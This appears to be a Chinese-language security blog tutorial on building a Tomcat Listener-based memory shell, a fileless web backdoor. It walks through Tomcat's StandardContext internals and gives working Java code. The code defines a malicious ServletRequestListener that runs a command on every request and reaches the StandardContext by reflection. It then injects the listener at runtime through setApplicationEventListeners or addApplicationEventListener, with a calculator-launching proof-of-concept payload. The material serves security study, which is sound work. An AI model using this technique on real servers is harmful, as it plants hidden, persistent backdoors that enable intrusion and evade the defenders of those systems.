沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Tomcat之Listener内存马

0x00 前言


嗯……怎么不算学习呢。

0x01 导论


Listener、Filter、Servlet、Interceptor

在上文中,我们学习了Filter的内存马。熟悉Java-Web开发的同学,可能除了Filter、Servlet之外,还接触过Listener、Interceptor(存在于Struts2中)。这四者的作用如下:

  • Servlet:负责接收请求和发送响应
  • Filter:负责对请求和响应进行修改(代码写在chain.doFilter之后就是对响应操作)
  • Lisenter:负责对Context、Session、Request、参数等创建、销毁变化的监听,可以添加上对应动作
  • Interceptor:Filter的加强版,区别可以自己搜索一下,比如,Filter依赖于Servlet容器,而Interceptor不依赖于Servlet容器。

Listener、Filter、Servlet三者执行顺序

因为Interceptor非原生Java所有,所以我们这里就先不讲了。Listener、Filter、Servlet三者的执行顺序,做过开发的同学就会知道,是:

  1. Listener
  2. Filter
  3. Servlet

但其实我们也可以从StandarContext#startInternal中找到对应的调用顺序:

// Configure and call application event listeners
if (ok) {
    if (!listenerStart()) {
        log.error(sm.getString("standardContext.listenerFail"));
        ok = false;
    }
}

// Check constraints for uncovered HTTP methods
// Needs to be after SCIs and listeners as they may programmatically
// change constraints
if (ok) {
    checkConstraintsForUncoveredMethods(findConstraints());
}

try {//略
}

// Configure and call application filters
if (ok) {
    if (!filterStart()) {
        log.error(sm.getString("standardContext.filterFail"));
        ok = false;
    }
}

// Load and initialize all "load on startup" servlets
if (ok) {
    if (!loadOnStartup(findChildren())){
        log.error(sm.getString("standardContext.servletFail"));
        ok = false;
    }
}

Listener的生命周期

Java中总共有8个Listener,不同的Listener有不同的生命周期,其大致可分为3类如下:

  1. 生命周期监听器(3个)
    • ServeltContextListener:在服务启动和关闭时触发
    • HttpSessionListener:getSession()时创建,超时或关闭服务时销毁
    • ServletRequestListener:请求时触发
  2. 属性变化监听器(3个):属性变化时调用
  3. session中指定属性变化监听器(2个):序列化或修改session时调用

Listener内存马

可以注意到,上文的ServletRequestListener只要发起请求,就可以触发。所以若是我们可以动态的添加一个ServletRequestListener,那是不是就可以利用Listener实现内存马呢?

0x02 Listener调试


创建一个Listener

在自己实现Listener前,我们先要能够正向的创建一个 ServletRequestListener。

public class HackerListener implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre){
        System.out.println("监听器创建");
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("监听器销毁");
    }
}

继承ServletRequestListener接口后,重写 requestInitialized、requestDestroyed,接着在web.xml中添加如下的配置:

<listener>
    <listener-class>
        com.example.virusfilter.HackerListener
	</listener-class>
</listener>

之后启动项目,访问任意一个项目即可实现弹窗。

调试分析

在requestInitialized设下断点,重新启动项目,得到对应的调用栈,发现我们的Listener是在StandardContext#fireRequestInitEvent中被调用:

public boolean fireRequestInitEvent(ServletRequest request) {

    //这里获取Listeners
    Object instances[] = getApplicationEventListeners();

    if ((instances != null) && (instances.length > 0)) {

        ServletRequestEvent event =
            new ServletRequestEvent(getServletContext(), request);

        for (Object instance : instances) {
            if (instance == null) {
                continue;
            }
            if (!(instance instanceof ServletRequestListener)) {
                continue;
            }
            ServletRequestListener listener = (ServletRequestListener) instance;

            try {
                //这里被调用
                listener.requestInitialized(event);
            } catch (Throwable t) {
                ExceptionUtils.handleThrowable(t);
                getLogger().error(sm.getString(
                    "standardContext.requestListener.requestInit",
                    instance.getClass().getName()), t);
                request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
                return false;
            }
        }
    }
    return true;
}

而追踪一下变量,发现其来源于StandardContext#getApplicationEventListeners(),跟进:

@Override
public Object[] getApplicationEventListeners() {
    return applicationEventListenersList.toArray(); #
}

可以看到Listener其实最终来自StandardContext的applicationEventListenersList成员变量。所以我们只要控制了他,其实就能够控制这个变量就可以实现自主添加Listener了。你可以通过反射调用来实现,不过那样就要自己去些构造逻辑。托Java的福,一般有getter,就会有setter之类的东西,所以我们其实可以直接在StandarContext里面找到添加Listener的方法,如下:

public void setApplicationEventListeners(Object listeners[]) {
    applicationEventListenersList.clear();
    if (listeners != null && listeners.length > 0) {
        applicationEventListenersList.addAll(Arrays.asList(listeners));
    }
}


/**
* Add a listener to the end of the list of initialized application event
* listeners.
*
* @param listener The listener to add
*/
public void addApplicationEventListener(Object listener) {
    applicationEventListenersList.add(listener);
}

可以看到,这里有两个方法可以修改applicationEventListenersList成员,并且是直接传入Listener对象即可。

0x03 Listener内存马实现


创建一个恶意Listener

Object listener = new ServletRequestListener() {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }

};

获取StandardContext

这里再提供一个比之前Filter马中更简便的方法:

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

原理就是通过RequestFaced得到Request,然后再用Request调用getContext,其返回的是MappingData类中的StandardContext。

添加恶意Listener

在这里,我并不想直接用大家常用的addApplicationEventListener,而是想先测试一下setApplicationEventListeners能不能实现,会不会对程序造成影响,因此,编写如下的代码:

// 因为setApplicationEventListeners要传入Object[]数组
Object[] listeners = {
    new ServletRequestListener() {
		//省略
    }
}

// 添加恶意Listener
context.setApplicationEventListeners(listeners);

运行后,成功弹出计算器,并且Web还是能够成功运行。当然我们并不能排除之后一些应用不会有问题,这里只是简单测试了其有效性。如果不放心,可以使用常见的addApplicationEventListener:

context.addApplicationEventListener(listeners[0]);

0x04 参考


https://xz.aliyun.com/t/10358#toc-6